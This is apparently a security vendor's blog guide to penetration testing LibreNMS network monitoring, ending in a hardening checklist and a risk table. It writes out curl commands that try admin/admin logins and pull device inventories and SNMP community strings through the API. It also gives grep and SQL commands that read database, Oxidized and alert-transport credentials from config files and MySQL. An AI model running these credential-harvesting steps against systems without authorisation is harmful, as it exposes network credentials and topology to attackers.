Network Monitoring Security Testing

LibreNMS Security Testing: Default Credentials, API Token, SNMP Community Strings, and Network Discovery

📅 July 3, 2026 ⏱ 13 min read 🏷 LibreNMS, Network Monitoring Security, SNMP Community Strings, API Token, Network Topology Mapping

LibreNMS is the most widely deployed open-source network monitoring system, used to monitor routers, switches, servers, and firewalls via SNMP, ICMP, and custom checks. It represents a uniquely valuable target because it centralizes two categories of sensitive information: a complete map of all monitored network infrastructure with IP addresses, interfaces, and topology; and the SNMP community strings and credentials needed to poll every device in that infrastructure. Key assessment areas: LibreNMS defaults to admin/admin on many installations; the API token provides access to the complete device inventory and stored SNMP credentials; SNMP v2c community strings and SNMP v3 auth/priv credentials are stored per device in the MySQL database; config.php stores the MySQL database password; and the Oxidized network configuration backup integration stores SSH/Telnet credentials for all network devices. This guide covers systematic LibreNMS security assessment.

Default Credentials and API Token Access
Device Inventory and SNMP Credential Extraction
Database and Integration Credential Extraction
LibreNMS Security Hardening

Default Credentials and API Token Access

# LibreNMS — default credentials and API access
LIBRENMS_URL="https://librenms.example.com"

# Test default admin/admin credentials via API
curl -s -X POST "${LIBRENMS_URL}/api/v0/" \
  -H "Content-Type: application/json" \
  --user "admin:admin" 2>/dev/null

# LibreNMS API token authentication
API_TOKEN="your-librenms-api-token"

# Verify API access and get system info
curl -s "${LIBRENMS_URL}/api/v0/system" \
  -H "X-Auth-Token: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
sys_info = d.get('system',{})
print(f'LibreNMS version: {sys_info.get(\"local_ver\")}')
print(f'DB version: {sys_info.get(\"db_schema\")}')
print(f'PHP version: {sys_info.get(\"php_ver\")}')
print(f'MySQL version: {sys_info.get(\"db_ver\")}')
" 2>/dev/null

# List all LibreNMS users
curl -s "${LIBRENMS_URL}/api/v0/users" \
  -H "X-Auth-Token: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {len(users)}')
for u in users:
    print(f'  {u.get(\"username\")} level={u.get(\"level\")} email={u.get(\"email\")}')
" 2>/dev/null

Device Inventory and SNMP Credential Extraction

# LibreNMS device inventory and SNMP credential extraction
LIBRENMS_URL="https://librenms.example.com"
API_TOKEN="your-librenms-api-token"

# Enumerate all monitored network devices — complete network map
curl -s "${LIBRENMS_URL}/api/v0/devices" \
  -H "X-Auth-Token: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
devices = d.get('devices',[])
print(f'Monitored devices: {len(devices)}')
for dev in devices:
    print(f'  [{dev.get(\"device_id\")}] {dev.get(\"hostname\")} IP={dev.get(\"ip\")} OS={dev.get(\"os\")} type={dev.get(\"type\")}')
    print(f'    SNMP version: {dev.get(\"snmpver\")} community: {dev.get(\"community\",\"(hidden)\")}')
    print(f'    Status: {\"up\" if dev.get(\"status\")==1 else \"down\"} uptime={dev.get(\"uptime\")}')
" 2>/dev/null

# Get device details including SNMP community string
DEVICE_ID="1"
curl -s "${LIBRENMS_URL}/api/v0/devices/${DEVICE_ID}" \
  -H "X-Auth-Token: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
dev = d.get('devices',[{}])[0]
print(f'Device: {dev.get(\"hostname\")} ({dev.get(\"ip\")})')
print(f'SNMP v2c community: {dev.get(\"community\")}')
print(f'SNMP v3 auth user: {dev.get(\"authlevel\",\"\")}')
print(f'OS: {dev.get(\"os\")} hardware={dev.get(\"hardware\")}')
" 2>/dev/null

# Get network interfaces for all devices — maps all VLANs and subnets
curl -s "${LIBRENMS_URL}/api/v0/devices/${DEVICE_ID}/ports" \
  -H "X-Auth-Token: ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
ports = d.get('ports',[])
print(f'Interfaces: {len(ports)}')
for p in ports[:10]:
    print(f'  {p.get(\"ifName\")} {p.get(\"ifAlias\")} IP={p.get(\"ipv4addr\")} VLAN={p.get(\"portVLAN\")}')
" 2>/dev/null

Database and Integration Credential Extraction

# LibreNMS configuration files — MySQL and integration credentials

# config.php — MySQL database credentials
grep -E "db_pass|db_user|db_host|db_name" \
  /opt/librenms/config.php 2>/dev/null
# Example:
# $config['db_pass'] = 'librenms_db_password';
# $config['db_user'] = 'librenms';

# .env file (newer installations)
grep -E "DB_PASSWORD|DB_USERNAME|APP_KEY|OXIDIZED|SMTP" \
  /opt/librenms/.env 2>/dev/null
# APP_KEY — Laravel application key for session encryption
# DB_PASSWORD — MySQL password

# Oxidized integration — network config backup credentials
grep -E "oxidized|ssh|telnet|password" /opt/librenms/config.php 2>/dev/null
# Oxidized stores SSH/Telnet credentials for pulling device configs

# Alert transport credentials in the database — Slack, PagerDuty, email
mysql -u librenms -p"DB_PASSWORD" librenms 2>/dev/null << 'EOF'
SELECT transport_type, transport_config
FROM alert_transports
WHERE transport_config LIKE '%key%' OR transport_config LIKE '%webhook%';
EOF
# Returns Slack webhook URLs, PagerDuty API keys, SMTP credentials

LibreNMS Security Hardening

LibreNMS Security Hardening Checklist:

Change the default admin/admin credentials and enable API token authentication — LibreNMS is commonly deployed with default admin credentials for initial setup and evaluation; admin access provides complete network topology intelligence including all device IP addresses and their SNMP community strings; enable strong password policies and consider configuring LDAP/AD authentication for organizational users; generate API tokens per integration rather than sharing admin tokens
Protect SNMP community strings and migrate to SNMPv3 — LibreNMS stores the SNMP community string for every monitored device; if the LibreNMS database or admin API is compromised, all SNMP community strings are exposed; an attacker with a device's SNMP v2c community string can read the full device MIB (routing tables, interface stats, ARP tables, config data) and on Cisco devices with write-community configured, can modify device configuration; migrate all devices to SNMPv3 with authentication and privacy (authPriv mode) using unique per-device credentials
Secure config.php and .env with strict filesystem permissions — config.php (or .env on newer installations) stores the MySQL database password, which provides access to all stored SNMP credentials, user hashes, and alert transport API keys; restrict this file to 640 owned by the librenms user; the MySQL user should have minimal required permissions and not use a reused password from other systems
Restrict API access to monitoring infrastructure only — the LibreNMS API provides complete network topology data; implement IP allowlisting at the web server or reverse proxy level to only permit API access from authorized monitoring systems, CI/CD pipelines, and admin workstations; require API token authentication for all API calls; disable API access entirely if not actively used by automation
Protect alert transport credentials and rotate periodically — LibreNMS alert transport configurations store Slack webhook URLs, PagerDuty API keys, and SMTP credentials in the database; these are accessible to any user with database read access or admin API access; audit the alert transports list and remove unused integrations; rotate Slack webhook URLs and PagerDuty keys periodically as they provide notification channel access that could be used for social engineering

Security Test	Method	Risk
Default admin/admin credentials	Login to LibreNMS web UI with admin:admin — provides full network monitoring admin access including device management, SNMP credential configuration, and alert rule management	Critical
Device inventory and SNMP community string extraction	GET /api/v0/devices with API token — returns all monitored devices with IP addresses, OS types, and SNMP community strings; community strings enable independent SNMP polling of all devices for routing tables, ARP tables, and interface configurations	Critical
Network topology mapping via ports API	GET /api/v0/devices/{id}/ports — maps all network interfaces, VLAN assignments, and IP addresses for every monitored device; complete internal network segmentation map	High
config.php database credential extraction	Read /opt/librenms/config.php — db_pass in plaintext; MySQL access provides all stored SNMP credentials, user password hashes, and alert transport API keys including Slack webhooks and PagerDuty keys	Critical
Alert transport credential enumeration	Database query on alert_transports — Slack webhook URLs, PagerDuty API keys, SMTP credentials, and custom webhook endpoints; enables notification channel manipulation for social engineering or alert suppression	High

Automate LibreNMS Security Testing

Ironimo tests LibreNMS deployments for default credential exploitation, API token device inventory and SNMP community string enumeration, network topology mapping via interface data, config.php database credential extraction, alert transport credential assessment, Oxidized SSH/Telnet credential analysis, SNMP version audit across all devices, and user authentication configuration review.

Start free scan

Table of Contents

Default Credentials and API Token Access

Device Inventory and SNMP Credential Extraction

Database and Integration Credential Extraction

LibreNMS Security Hardening

Automate LibreNMS Security Testing